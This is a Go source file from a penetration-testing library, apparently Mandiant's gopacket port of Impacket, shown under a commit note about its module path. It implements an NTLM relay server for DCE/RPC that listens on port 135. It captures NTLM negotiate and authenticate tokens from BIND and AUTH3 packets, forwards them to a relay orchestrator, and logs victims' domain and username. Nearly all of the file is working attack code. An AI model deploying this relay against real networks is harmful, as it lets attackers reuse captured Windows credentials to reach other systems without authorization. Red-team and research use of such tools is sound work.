mirror of
https://github.com/mandiant/gopacket
synced 2026-06-21 13:57:02 +00:00
ce5ca7f159
Fixes #6. The module was declared as `module gopacket` in go.mod, which is not a canonical import path. External projects could not `go get github.com/mandiant/gopacket` to use any of the 24 protocol packages as a library; the only workaround was to clone the repo and add a `replace` directive to their own go.mod. This commit: - Sets `module github.com/mandiant/gopacket` in go.mod. - Rewrites 434 import statements across 157 files from the bare `gopacket/...` prefix to `github.com/mandiant/gopacket/...`. Pure mechanical change, no behavior difference. Makes the README's library story (pkg/ directory, 24 reusable packages) actually usable from external code.
777 lines
24 KiB
Go
777 lines
24 KiB
Go
// Copyright 2026 Google LLC
|
|
//
|
|
// Licensed under the Apache License, Version 2.0 (the "License");
|
|
// you may not use this file except in compliance with the License.
|
|
// You may obtain a copy of the License at
|
|
//
|
|
// https://www.apache.org/licenses/LICENSE-2.0
|
|
//
|
|
// Unless required by applicable law or agreed to in writing, software
|
|
// distributed under the License is distributed on an "AS IS" BASIS,
|
|
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
// See the License for the specific language governing permissions and
|
|
// limitations under the License.
|
|
|
|
package relay
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/binary"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"net"
|
|
|
|
"github.com/mandiant/gopacket/internal/build"
|
|
)
|
|
|
|
// DCE/RPC packet type constants
|
|
const (
|
|
rpcPktRequest = 0
|
|
rpcPktResponse = 2
|
|
rpcPktFault = 3
|
|
rpcPktBind = 11
|
|
rpcPktBindAck = 12
|
|
rpcPktBindNak = 13
|
|
rpcPktAlterContext = 14
|
|
rpcPktAlterContextR = 15
|
|
rpcPktAuth3 = 16
|
|
)
|
|
|
|
// DCE/RPC auth types
|
|
const (
|
|
rpcAuthNone = 0
|
|
rpcAuthWinNT = 10 // RPC_C_AUTHN_WINNT (NTLMSSP)
|
|
rpcAuthDefault = 0xFF
|
|
rpcAuthGSSNegotiate = 9 // SPNEGO
|
|
)
|
|
|
|
// NTLM message types
|
|
const (
|
|
ntlmNegotiate = 1
|
|
ntlmChallenge = 2
|
|
ntlmAuth = 3
|
|
)
|
|
|
|
// Bind context item result codes
|
|
const (
|
|
rpcContResultAccept = 0
|
|
rpcContResultProvReject = 2
|
|
rpcContResultNegotiateAck = 3
|
|
)
|
|
|
|
// Bind Time Feature Negotiation UUID prefix: 6cb71c2c-9812-4540-...
|
|
var rpcBindTimeFeaturePrefix = [8]byte{0x2c, 0x1c, 0xb7, 0x6c, 0x12, 0x98, 0x40, 0x45}
|
|
|
|
// Bitmask for Bind Time Feature Negotiation response
|
|
const rpcBindTimeFeatureBitmask = 0x03 // security context multiplexing + keep connection on orphan
|
|
|
|
// NDR64 Transfer Syntax UUID (71710533-beba-4937-8319-b5dbef9ccc36) — reject this
|
|
var rpcNDR64Syntax = [16]byte{
|
|
0x33, 0x05, 0x71, 0x71, 0xba, 0xbe, 0x37, 0x49,
|
|
0x83, 0x19, 0xb5, 0xdb, 0xef, 0x9c, 0xcc, 0x36,
|
|
}
|
|
|
|
// IObjectExporter UUID: 99fcfec4-5260-101b-bbcb-00aa0021347a
|
|
var rpcIIDObjectExporter = [16]byte{
|
|
0xc4, 0xfe, 0xfc, 0x99, 0x60, 0x52, 0x1b, 0x10,
|
|
0xbb, 0xcb, 0x00, 0xaa, 0x00, 0x21, 0x34, 0x7a,
|
|
}
|
|
|
|
// EPM UUID: e1af8308-5d1f-11c9-91a4-08002b14a0fa
|
|
var rpcEPMUUID = [16]byte{
|
|
0x08, 0x83, 0xaf, 0xe1, 0x1f, 0x5d, 0xc9, 0x11,
|
|
0x91, 0xa4, 0x08, 0x00, 0x2b, 0x14, 0xa0, 0xfa,
|
|
}
|
|
|
|
// Status codes for RPC fault/nak
|
|
const (
|
|
rpcStatusAccessDenied = 0x00000005
|
|
rpcStatusNoAuth = 0x1c010002
|
|
rpcStatusUnsupportedType = 0x1c000013
|
|
)
|
|
|
|
// RPCRelayServer listens for incoming DCE/RPC connections on port 135
|
|
// and captures NTLM authentication from BIND/AUTH3 packets.
|
|
// Responds to IObjectExporter::ServerAlive2 and epmapper::ept_map requests
|
|
// to keep the RPC handshake flowing.
|
|
// Matches Impacket's rpcrelayserver.py.
|
|
type RPCRelayServer struct {
|
|
listenAddr string
|
|
listener net.Listener
|
|
authCh chan<- AuthResult
|
|
}
|
|
|
|
// NewRPCRelayServer creates a new RPC relay server.
|
|
func NewRPCRelayServer(listenAddr string) *RPCRelayServer {
|
|
return &RPCRelayServer{listenAddr: listenAddr}
|
|
}
|
|
|
|
// Start begins listening for RPC connections, implements ProtocolServer.
|
|
func (s *RPCRelayServer) Start(resultChan chan<- AuthResult) error {
|
|
ln, err := net.Listen("tcp", s.listenAddr)
|
|
if err != nil {
|
|
return fmt.Errorf("failed to listen on %s: %v", s.listenAddr, err)
|
|
}
|
|
s.listener = ln
|
|
s.authCh = resultChan
|
|
|
|
log.Printf("[*] RPC relay server listening on %s", s.listenAddr)
|
|
|
|
go func() {
|
|
for {
|
|
conn, err := ln.Accept()
|
|
if err != nil {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC relay server: accept error: %v", err)
|
|
}
|
|
return
|
|
}
|
|
go s.handleConnection(conn)
|
|
}
|
|
}()
|
|
|
|
return nil
|
|
}
|
|
|
|
// Stop closes the listener, implements ProtocolServer.
|
|
func (s *RPCRelayServer) Stop() error {
|
|
if s.listener != nil {
|
|
return s.listener.Close()
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// rpcCommonHeader is the 16-byte DCE/RPC common header.
|
|
type rpcCommonHeader struct {
|
|
MajorVersion uint8
|
|
MinorVersion uint8
|
|
PacketType uint8
|
|
PacketFlags uint8
|
|
DataRep [4]byte
|
|
FragLength uint16
|
|
AuthLength uint16
|
|
CallID uint32
|
|
}
|
|
|
|
// rpcSecTrailer is the security trailer appended to authenticated packets.
|
|
type rpcSecTrailer struct {
|
|
AuthType uint8
|
|
AuthLevel uint8
|
|
AuthPadLen uint8
|
|
AuthReserved uint8
|
|
AuthCtxID uint32
|
|
}
|
|
|
|
// rpcContextItem represents a presentation context item in BIND/ALTER_CONTEXT.
|
|
type rpcContextItem struct {
|
|
ContextID uint16
|
|
NumTransItems uint8
|
|
Reserved uint8
|
|
AbstractSyntax [20]byte // UUID (16) + Version (4)
|
|
TransferSyntax [20]byte // UUID (16) + Version (4)
|
|
}
|
|
|
|
// rpcCtxItemResult represents a single result in BIND_ACK context result list.
|
|
type rpcCtxItemResult struct {
|
|
Result uint16
|
|
Reason uint16
|
|
TransferSyntax [20]byte
|
|
}
|
|
|
|
func (s *RPCRelayServer) handleConnection(conn net.Conn) {
|
|
defer conn.Close()
|
|
|
|
remoteAddr := conn.RemoteAddr().String()
|
|
log.Printf("[*] RPC: Incoming connection from %s", remoteAddr)
|
|
|
|
// State tracking
|
|
var boundUUID [16]byte // the abstract syntax UUID that was accepted
|
|
var authType uint8
|
|
var authLevel uint8
|
|
var authCtxID uint32
|
|
|
|
for {
|
|
// Read a full RPC PDU
|
|
pdu, err := rpcRecvPDU(conn)
|
|
if err != nil {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: connection closed from %s: %v", remoteAddr, err)
|
|
}
|
|
return
|
|
}
|
|
|
|
if len(pdu) < 16 {
|
|
return
|
|
}
|
|
|
|
var hdr rpcCommonHeader
|
|
binary.Read(bytes.NewReader(pdu[:16]), binary.LittleEndian, &hdr)
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: packet type=%d, fragLen=%d, authLen=%d, callID=%d from %s",
|
|
hdr.PacketType, hdr.FragLength, hdr.AuthLength, hdr.CallID, remoteAddr)
|
|
}
|
|
|
|
switch hdr.PacketType {
|
|
case rpcPktBind, rpcPktAlterContext:
|
|
// Parse bind/alter context header (4+4+4 = 12 bytes after common header)
|
|
if len(pdu) < 28 { // 16 (common) + 12 (bind header)
|
|
return
|
|
}
|
|
// maxXmitFrag := binary.LittleEndian.Uint16(pdu[16:18])
|
|
// maxRecvFrag := binary.LittleEndian.Uint16(pdu[18:20])
|
|
// assocGroup := binary.LittleEndian.Uint32(pdu[20:24])
|
|
numCtxItems := pdu[24] // number of context items (1 byte at offset 24)
|
|
|
|
// Parse context items starting at offset 28
|
|
// But first: the actual layout is numCtxItems(1) + reserved(3) = 4 bytes
|
|
// so ctx items start at 16+4+4+4+4 = 28+4 = offset 28 includes numCtxItems but
|
|
// Actually: bind body = MaxXmitFrag(2) + MaxRecvFrag(2) + AssocGroup(4) + NumCtxItems(1) + reserved(3)
|
|
// = 12 bytes, so ctx items at offset 16+12 = 28
|
|
ctxItemsOffset := 28
|
|
var ctxResults []rpcCtxItemResult
|
|
|
|
for i := 0; i < int(numCtxItems); i++ {
|
|
off := ctxItemsOffset + i*44 // each context item is 44 bytes
|
|
if off+44 > len(pdu)-int(hdr.AuthLength) {
|
|
break
|
|
}
|
|
|
|
var item rpcContextItem
|
|
item.ContextID = binary.LittleEndian.Uint16(pdu[off : off+2])
|
|
item.NumTransItems = pdu[off+2]
|
|
copy(item.AbstractSyntax[:], pdu[off+4:off+24])
|
|
copy(item.TransferSyntax[:], pdu[off+24:off+44])
|
|
|
|
transferUUID := item.TransferSyntax[:16]
|
|
transferVer := binary.LittleEndian.Uint32(item.TransferSyntax[16:20])
|
|
|
|
var result rpcCtxItemResult
|
|
|
|
// Check for Bind Time Feature Negotiation
|
|
if bytes.Equal(transferUUID[:8], rpcBindTimeFeaturePrefix[:]) && transferVer == 1 {
|
|
result.Result = rpcContResultNegotiateAck
|
|
result.Reason = rpcBindTimeFeatureBitmask
|
|
// TransferSyntax = zeros
|
|
} else if bytes.Equal(transferUUID, rpcNDR64Syntax[:]) {
|
|
// Reject NDR64
|
|
result.Result = rpcContResultProvReject
|
|
result.Reason = 2 // proposed transfer syntaxes not supported
|
|
// TransferSyntax = zeros
|
|
} else {
|
|
// Accept — this is likely NDR 2.0
|
|
result.Result = rpcContResultAccept
|
|
copy(result.TransferSyntax[:], item.TransferSyntax[:])
|
|
copy(boundUUID[:], item.AbstractSyntax[:16])
|
|
}
|
|
|
|
ctxResults = append(ctxResults, result)
|
|
}
|
|
|
|
// Check for auth data
|
|
if hdr.AuthLength > 0 {
|
|
// Parse sec_trailer (8 bytes before auth_data)
|
|
secTrailerOff := int(hdr.FragLength) - int(hdr.AuthLength) - 8
|
|
if secTrailerOff < 0 || secTrailerOff+8 > len(pdu) {
|
|
return
|
|
}
|
|
var sec rpcSecTrailer
|
|
binary.Read(bytes.NewReader(pdu[secTrailerOff:secTrailerOff+8]), binary.LittleEndian, &sec)
|
|
|
|
authType = sec.AuthType
|
|
authLevel = sec.AuthLevel
|
|
authCtxID = sec.AuthCtxID
|
|
|
|
if sec.AuthType != rpcAuthWinNT && sec.AuthType != rpcAuthDefault {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: unsupported auth type %d from %s", sec.AuthType, remoteAddr)
|
|
}
|
|
// Send BIND_NAK
|
|
resp := rpcBuildFaultOrNak(hdr, rpcPktBindNak, rpcStatusNoAuth)
|
|
conn.Write(resp)
|
|
return
|
|
}
|
|
|
|
// Extract NTLM token from auth_data
|
|
authData := pdu[secTrailerOff+8:]
|
|
if len(authData) < 12 {
|
|
return
|
|
}
|
|
|
|
// Check if this is NTLM
|
|
if string(authData[:7]) != "NTLMSSP" {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: auth data is not NTLMSSP from %s", remoteAddr)
|
|
}
|
|
resp := rpcBuildFaultOrNak(hdr, rpcPktBindNak, rpcStatusNoAuth)
|
|
conn.Write(resp)
|
|
return
|
|
}
|
|
|
|
msgType := binary.LittleEndian.Uint32(authData[8:12])
|
|
if msgType == ntlmNegotiate {
|
|
// NTLM Type 1 — relay it
|
|
type1 := authData
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: NTLM Type 1 (%d bytes) from %s", len(type1), remoteAddr)
|
|
}
|
|
|
|
// Create auth result and push to orchestrator
|
|
auth := AuthResult{
|
|
NTLMType1: type1,
|
|
SourceAddr: remoteAddr,
|
|
ServerConn: conn,
|
|
Type2Ch: make(chan []byte, 1),
|
|
Type3Ch: make(chan []byte, 1),
|
|
ResultCh: make(chan bool, 1),
|
|
}
|
|
|
|
s.authCh <- auth
|
|
|
|
// Wait for Type 2 challenge
|
|
type2, ok := <-auth.Type2Ch
|
|
if !ok || type2 == nil {
|
|
log.Printf("[-] RPC relay: no challenge received for %s", remoteAddr)
|
|
return
|
|
}
|
|
|
|
// Build BIND_ACK with Type2 in auth_data
|
|
resp := rpcBuildBindAck(hdr, ctxResults, authType, authLevel, authCtxID, type2)
|
|
if _, err := conn.Write(resp); err != nil {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: failed to send BIND_ACK to %s: %v", remoteAddr, err)
|
|
}
|
|
return
|
|
}
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: sent BIND_ACK with Type2 challenge to %s", remoteAddr)
|
|
}
|
|
|
|
// Now we need to wait for AUTH3 with Type3
|
|
// Continue the loop — AUTH3 will be handled below
|
|
// But first store the auth result for when we get AUTH3
|
|
// We use a closure-like approach: store in a map or just handle inline
|
|
|
|
// Read next PDU which should be AUTH3
|
|
pdu2, err := rpcRecvPDU(conn)
|
|
if err != nil {
|
|
return
|
|
}
|
|
if len(pdu2) < 16 {
|
|
return
|
|
}
|
|
|
|
var hdr2 rpcCommonHeader
|
|
binary.Read(bytes.NewReader(pdu2[:16]), binary.LittleEndian, &hdr2)
|
|
|
|
if hdr2.PacketType == rpcPktAuth3 {
|
|
s.handleAuth3(conn, remoteAddr, pdu2, hdr2, auth)
|
|
} else if hdr2.PacketType == rpcPktBind || hdr2.PacketType == rpcPktAlterContext {
|
|
// Some clients send another BIND with auth instead of AUTH3
|
|
if hdr2.AuthLength > 0 {
|
|
secOff := int(hdr2.FragLength) - int(hdr2.AuthLength) - 8
|
|
if secOff >= 0 && secOff+8 <= len(pdu2) {
|
|
authData2 := pdu2[secOff+8:]
|
|
if len(authData2) >= 12 && string(authData2[:7]) == "NTLMSSP" {
|
|
mt := binary.LittleEndian.Uint32(authData2[8:12])
|
|
if mt == ntlmAuth {
|
|
type3 := authData2
|
|
domain, user := extractNTLMType3Info(type3)
|
|
log.Printf("[*] RPC: NTLM Type 3 from %s\\%s @ %s", domain, user, remoteAddr)
|
|
auth.Type3Ch <- type3
|
|
success := <-auth.ResultCh
|
|
if !success {
|
|
resp := rpcBuildFaultOrNak(hdr2, rpcPktFault, rpcStatusAccessDenied)
|
|
conn.Write(resp)
|
|
}
|
|
return
|
|
}
|
|
}
|
|
}
|
|
}
|
|
} else {
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: expected AUTH3, got type %d from %s", hdr2.PacketType, remoteAddr)
|
|
}
|
|
}
|
|
return
|
|
|
|
} else if msgType == ntlmAuth {
|
|
// Shouldn't get Type3 in BIND, but handle it
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: unexpected NTLM Type3 in BIND from %s", remoteAddr)
|
|
}
|
|
return
|
|
}
|
|
|
|
} else {
|
|
// No auth in BIND — respond with BIND_ACK (no auth) and wait for auth later
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: BIND with no auth from %s, sending BIND_ACK", remoteAddr)
|
|
}
|
|
resp := rpcBuildBindAck(hdr, ctxResults, 0, 0, 0, nil)
|
|
conn.Write(resp)
|
|
continue
|
|
}
|
|
|
|
case rpcPktAuth3:
|
|
// AUTH3 carries the NTLM Type3 — but we should have handled this inline above
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: unexpected standalone AUTH3 from %s", remoteAddr)
|
|
}
|
|
return
|
|
|
|
case rpcPktRequest:
|
|
// RPC REQUEST — answer IObjectExporter::ServerAlive2 or epmapper::ept_map
|
|
resp := s.handleRequest(pdu, hdr, boundUUID, remoteAddr)
|
|
if resp != nil {
|
|
conn.Write(resp)
|
|
}
|
|
|
|
default:
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: unsupported packet type %d from %s", hdr.PacketType, remoteAddr)
|
|
}
|
|
resp := rpcBuildFaultOrNak(hdr, rpcPktFault, rpcStatusUnsupportedType)
|
|
conn.Write(resp)
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
// handleAuth3 processes an AUTH3 packet containing the NTLM Type3.
|
|
func (s *RPCRelayServer) handleAuth3(conn net.Conn, remoteAddr string, pdu []byte, hdr rpcCommonHeader, auth AuthResult) {
|
|
if hdr.AuthLength == 0 {
|
|
log.Printf("[-] RPC: AUTH3 with no auth data from %s", remoteAddr)
|
|
auth.ResultCh <- false
|
|
return
|
|
}
|
|
|
|
secTrailerOff := int(hdr.FragLength) - int(hdr.AuthLength) - 8
|
|
if secTrailerOff < 0 || secTrailerOff+8 > len(pdu) {
|
|
auth.ResultCh <- false
|
|
return
|
|
}
|
|
|
|
authData := pdu[secTrailerOff+8:]
|
|
if len(authData) < 12 || string(authData[:7]) != "NTLMSSP" {
|
|
log.Printf("[-] RPC: AUTH3 auth data is not NTLMSSP from %s", remoteAddr)
|
|
auth.ResultCh <- false
|
|
return
|
|
}
|
|
|
|
msgType := binary.LittleEndian.Uint32(authData[8:12])
|
|
if msgType != ntlmAuth {
|
|
log.Printf("[-] RPC: AUTH3 expected Type3, got type %d from %s", msgType, remoteAddr)
|
|
auth.ResultCh <- false
|
|
return
|
|
}
|
|
|
|
type3 := authData
|
|
domain, user := extractNTLMType3Info(type3)
|
|
|
|
if user == "" {
|
|
log.Printf("[!] RPC: empty username from %s — anonymous login", remoteAddr)
|
|
auth.ResultCh <- false
|
|
return
|
|
}
|
|
|
|
log.Printf("[*] RPC: NTLM Type 3 from %s\\%s @ %s", domain, user, remoteAddr)
|
|
|
|
// Send Type 3 to orchestrator
|
|
auth.Type3Ch <- type3
|
|
|
|
// Wait for result
|
|
success := <-auth.ResultCh
|
|
if !success {
|
|
resp := rpcBuildFaultOrNak(rpcCommonHeader{
|
|
MajorVersion: 5,
|
|
PacketType: rpcPktFault,
|
|
DataRep: hdr.DataRep,
|
|
CallID: hdr.CallID,
|
|
}, rpcPktFault, rpcStatusAccessDenied)
|
|
conn.Write(resp)
|
|
}
|
|
// AUTH3 has no response on success per the spec
|
|
}
|
|
|
|
// handleRequest handles RPC REQUEST packets by dispatching based on bound UUID + opnum.
|
|
func (s *RPCRelayServer) handleRequest(pdu []byte, hdr rpcCommonHeader, boundUUID [16]byte, remoteAddr string) []byte {
|
|
if len(pdu) < 24 { // 16 (common) + 8 (request header)
|
|
return nil
|
|
}
|
|
|
|
// Request header: AllocHint(4) + ContextID(2) + OpNum(2)
|
|
opNum := binary.LittleEndian.Uint16(pdu[22:24])
|
|
|
|
if build.Debug {
|
|
log.Printf("[D] RPC: REQUEST opnum=%d, boundUUID=%x from %s", opNum, boundUUID, remoteAddr)
|
|
}
|
|
|
|
// IObjectExporter::ServerAlive2 (opnum 5)
|
|
if boundUUID == rpcIIDObjectExporter && opNum == 5 {
|
|
return s.buildServerAlive2Response(hdr)
|
|
}
|
|
|
|
// epmapper::ept_map (opnum 3)
|
|
if boundUUID == rpcEPMUUID && opNum == 3 {
|
|
return s.buildEptMapResponse(pdu, hdr)
|
|
}
|
|
|
|
// Unknown — send fault
|
|
return rpcBuildFaultOrNak(hdr, rpcPktFault, rpcStatusAccessDenied)
|
|
}
|
|
|
|
// buildServerAlive2Response builds an IObjectExporter::ServerAlive2 response.
|
|
// Returns a DUALSTRINGARRAY with TCP string bindings.
|
|
func (s *RPCRelayServer) buildServerAlive2Response(hdr rpcCommonHeader) []byte {
|
|
// Build DUALSTRINGARRAY: string bindings + security bindings
|
|
// String binding: [wTowerId(2)][aNetworkAddr(null-terminated UTF-8)]
|
|
// Security binding: [wAuthnSvc(2)][wAuthzSvc(2)][aPrincName(null-terminated)]
|
|
|
|
// TCP binding: tower ID = 0x07 (TCP/IP)
|
|
var dsaBuf bytes.Buffer
|
|
|
|
// String bindings
|
|
dsaBuf.WriteByte(0x07) // TOWERID_DOD_TCP
|
|
dsaBuf.WriteByte(0x00) // high byte (written as ushort later)
|
|
dsaBuf.WriteString("127.0.0.1")
|
|
dsaBuf.WriteByte(0x00) // null terminator
|
|
// Padding to even boundary
|
|
if dsaBuf.Len()%2 != 0 {
|
|
dsaBuf.WriteByte(0x00)
|
|
}
|
|
wSecurityOffset := dsaBuf.Len()
|
|
|
|
// Security bindings
|
|
dsaBuf.WriteByte(byte(rpcAuthWinNT)) // wAuthnSvc
|
|
dsaBuf.WriteByte(0x00)
|
|
dsaBuf.WriteByte(0xff) // wAuthzSvc (should be 0xffff but packed as ushort)
|
|
dsaBuf.WriteByte(0x00)
|
|
dsaBuf.WriteByte(0x00) // empty aPrincName
|
|
// Padding
|
|
if dsaBuf.Len()%2 != 0 {
|
|
dsaBuf.WriteByte(0x00)
|
|
}
|
|
|
|
dsaData := dsaBuf.Bytes()
|
|
|
|
// Build response body:
|
|
// ppdsaOrBindings: wNumEntries(2) + wSecurityOffset(2) + aStringArray(...)
|
|
// COMVERSION: MajorVersion(2)=5 + MinorVersion(2)=7
|
|
// Reserved(4)=0
|
|
var body bytes.Buffer
|
|
// COMVERSION
|
|
binary.Write(&body, binary.LittleEndian, uint16(5)) // major
|
|
binary.Write(&body, binary.LittleEndian, uint16(7)) // minor
|
|
// Reserved
|
|
binary.Write(&body, binary.LittleEndian, uint32(0))
|
|
// DUALSTRINGARRAY
|
|
binary.Write(&body, binary.LittleEndian, uint16(len(dsaData)/2)) // wNumEntries (in wchar_t units)
|
|
binary.Write(&body, binary.LittleEndian, uint16(wSecurityOffset/2)) // wSecurityOffset
|
|
body.Write(dsaData)
|
|
// HRESULT
|
|
binary.Write(&body, binary.LittleEndian, uint32(0)) // S_OK
|
|
|
|
return rpcBuildResponse(hdr, body.Bytes())
|
|
}
|
|
|
|
// buildEptMapResponse reflects the request tower back (matches Impacket behavior).
|
|
func (s *RPCRelayServer) buildEptMapResponse(pdu []byte, hdr rpcCommonHeader) []byte {
|
|
// Simplified: return empty tower array with status=0
|
|
// The key goal is to not crash and keep the connection going
|
|
|
|
var body bytes.Buffer
|
|
|
|
// entry_handle: context_handle_attributes(4) + context_handle_uuid(16)
|
|
binary.Write(&body, binary.LittleEndian, uint32(0))
|
|
body.Write(make([]byte, 16))
|
|
|
|
// num_towers = 0
|
|
binary.Write(&body, binary.LittleEndian, uint32(0))
|
|
// ITowers max_count = 0
|
|
binary.Write(&body, binary.LittleEndian, uint32(0))
|
|
// status = 0
|
|
binary.Write(&body, binary.LittleEndian, uint32(0))
|
|
|
|
return rpcBuildResponse(hdr, body.Bytes())
|
|
}
|
|
|
|
// rpcRecvPDU reads a complete DCE/RPC PDU from the connection.
|
|
func rpcRecvPDU(conn net.Conn) ([]byte, error) {
|
|
// Read 16-byte common header first
|
|
hdrBuf := make([]byte, 16)
|
|
if _, err := io.ReadFull(conn, hdrBuf); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
// FragLength at offset 8 (2 bytes, little-endian)
|
|
fragLen := int(binary.LittleEndian.Uint16(hdrBuf[8:10]))
|
|
if fragLen < 16 {
|
|
return nil, fmt.Errorf("invalid frag length: %d", fragLen)
|
|
}
|
|
if fragLen > 65536 {
|
|
return nil, fmt.Errorf("frag length too large: %d", fragLen)
|
|
}
|
|
|
|
// Read the rest
|
|
pdu := make([]byte, fragLen)
|
|
copy(pdu[:16], hdrBuf)
|
|
if fragLen > 16 {
|
|
if _, err := io.ReadFull(conn, pdu[16:]); err != nil {
|
|
return nil, err
|
|
}
|
|
}
|
|
|
|
return pdu, nil
|
|
}
|
|
|
|
// rpcBuildBindAck constructs a BIND_ACK or ALTER_CONTEXT_RESP with optional NTLM challenge.
|
|
func rpcBuildBindAck(reqHdr rpcCommonHeader, ctxResults []rpcCtxItemResult, authType, authLevel uint8, authCtxID uint32, challengeData []byte) []byte {
|
|
var buf bytes.Buffer
|
|
|
|
// Determine response packet type
|
|
respType := uint8(rpcPktBindAck)
|
|
if reqHdr.PacketType == rpcPktAlterContext {
|
|
respType = rpcPktAlterContextR
|
|
}
|
|
|
|
// PDU data (bind_ack body):
|
|
// MaxXmitFrag(2) + MaxRecvFrag(2) + AssocGroup(4) + SecondaryAddr(variable) + CtxResults
|
|
|
|
var pduData bytes.Buffer
|
|
binary.Write(&pduData, binary.LittleEndian, uint16(4280)) // max_xmit_frag
|
|
binary.Write(&pduData, binary.LittleEndian, uint16(4280)) // max_recv_frag
|
|
binary.Write(&pduData, binary.LittleEndian, uint32(0x12345678)) // assoc_group
|
|
|
|
// Secondary address (port string): "9999\0" padded to 4-byte boundary
|
|
secondaryAddr := "9999"
|
|
binary.Write(&pduData, binary.LittleEndian, uint16(len(secondaryAddr)+1))
|
|
pduData.WriteString(secondaryAddr)
|
|
pduData.WriteByte(0) // null terminator
|
|
// Pad to 4-byte alignment
|
|
for pduData.Len()%4 != 0 {
|
|
pduData.WriteByte(0)
|
|
}
|
|
|
|
// Context result list
|
|
pduData.WriteByte(byte(len(ctxResults))) // num results
|
|
pduData.WriteByte(0) // reserved
|
|
pduData.WriteByte(0) // reserved
|
|
pduData.WriteByte(0) // reserved
|
|
|
|
for _, r := range ctxResults {
|
|
binary.Write(&pduData, binary.LittleEndian, r.Result)
|
|
binary.Write(&pduData, binary.LittleEndian, r.Reason)
|
|
pduData.Write(r.TransferSyntax[:])
|
|
}
|
|
|
|
pduBody := pduData.Bytes()
|
|
|
|
// Build security trailer + auth data if present
|
|
var secTrailerBytes []byte
|
|
var authDataBytes []byte
|
|
authLen := uint16(0)
|
|
|
|
if challengeData != nil && len(challengeData) > 0 {
|
|
// Add padding to align to 4-byte boundary
|
|
pad := (4 - (len(pduBody) % 4)) % 4
|
|
if pad > 0 {
|
|
padBytes := make([]byte, pad)
|
|
for i := range padBytes {
|
|
padBytes[i] = 0xFF
|
|
}
|
|
pduBody = append(pduBody, padBytes...)
|
|
}
|
|
|
|
// Build sec_trailer
|
|
var secBuf bytes.Buffer
|
|
secBuf.WriteByte(authType) // auth_type
|
|
secBuf.WriteByte(authLevel) // auth_level
|
|
secBuf.WriteByte(byte(pad)) // auth_pad_len
|
|
secBuf.WriteByte(0) // reserved
|
|
binary.Write(&secBuf, binary.LittleEndian, authCtxID) // auth_ctx_id
|
|
secTrailerBytes = secBuf.Bytes()
|
|
|
|
authDataBytes = challengeData
|
|
authLen = uint16(len(authDataBytes))
|
|
}
|
|
|
|
// Build the full packet
|
|
fragLen := 16 + len(pduBody) + len(secTrailerBytes) + len(authDataBytes)
|
|
|
|
// Write common header
|
|
binary.Write(&buf, binary.LittleEndian, uint8(5)) // major version
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0)) // minor version
|
|
binary.Write(&buf, binary.LittleEndian, respType) // packet type
|
|
binary.Write(&buf, binary.LittleEndian, reqHdr.PacketFlags) // flags
|
|
buf.Write(reqHdr.DataRep[:]) // data rep
|
|
binary.Write(&buf, binary.LittleEndian, uint16(fragLen)) // frag_length
|
|
binary.Write(&buf, binary.LittleEndian, authLen) // auth_length
|
|
binary.Write(&buf, binary.LittleEndian, reqHdr.CallID) // call_id
|
|
|
|
// PDU body
|
|
buf.Write(pduBody)
|
|
|
|
// Sec trailer + auth data
|
|
if secTrailerBytes != nil {
|
|
buf.Write(secTrailerBytes)
|
|
buf.Write(authDataBytes)
|
|
}
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// rpcBuildResponse constructs a DCE/RPC RESPONSE packet.
|
|
func rpcBuildResponse(reqHdr rpcCommonHeader, stubData []byte) []byte {
|
|
var buf bytes.Buffer
|
|
|
|
fragLen := uint16(16 + 8 + len(stubData)) // common header + response header + stub
|
|
|
|
// Common header
|
|
binary.Write(&buf, binary.LittleEndian, uint8(5)) // major
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0)) // minor
|
|
binary.Write(&buf, binary.LittleEndian, uint8(rpcPktResponse)) // type
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0x03)) // flags: first+last
|
|
buf.Write(reqHdr.DataRep[:])
|
|
binary.Write(&buf, binary.LittleEndian, fragLen)
|
|
binary.Write(&buf, binary.LittleEndian, uint16(0)) // auth_length
|
|
binary.Write(&buf, binary.LittleEndian, reqHdr.CallID)
|
|
|
|
// Response header
|
|
binary.Write(&buf, binary.LittleEndian, uint32(len(stubData))) // alloc_hint
|
|
binary.Write(&buf, binary.LittleEndian, uint16(0)) // context_id
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0)) // cancel_count
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0)) // reserved
|
|
|
|
// Stub data
|
|
buf.Write(stubData)
|
|
|
|
return buf.Bytes()
|
|
}
|
|
|
|
// rpcBuildFaultOrNak builds a FAULT or BIND_NAK response with the given status code.
|
|
func rpcBuildFaultOrNak(reqHdr rpcCommonHeader, pktType uint8, status uint32) []byte {
|
|
var buf bytes.Buffer
|
|
|
|
statusBytes := make([]byte, 4)
|
|
binary.LittleEndian.PutUint32(statusBytes, status)
|
|
|
|
fragLen := uint16(16 + 4) // common header + status
|
|
|
|
binary.Write(&buf, binary.LittleEndian, uint8(5))
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0))
|
|
binary.Write(&buf, binary.LittleEndian, pktType)
|
|
binary.Write(&buf, binary.LittleEndian, uint8(0x03)) // first+last
|
|
buf.Write(reqHdr.DataRep[:])
|
|
binary.Write(&buf, binary.LittleEndian, fragLen)
|
|
binary.Write(&buf, binary.LittleEndian, uint16(0))
|
|
binary.Write(&buf, binary.LittleEndian, reqHdr.CallID)
|
|
buf.Write(statusBytes)
|
|
|
|
return buf.Bytes()
|
|
}
|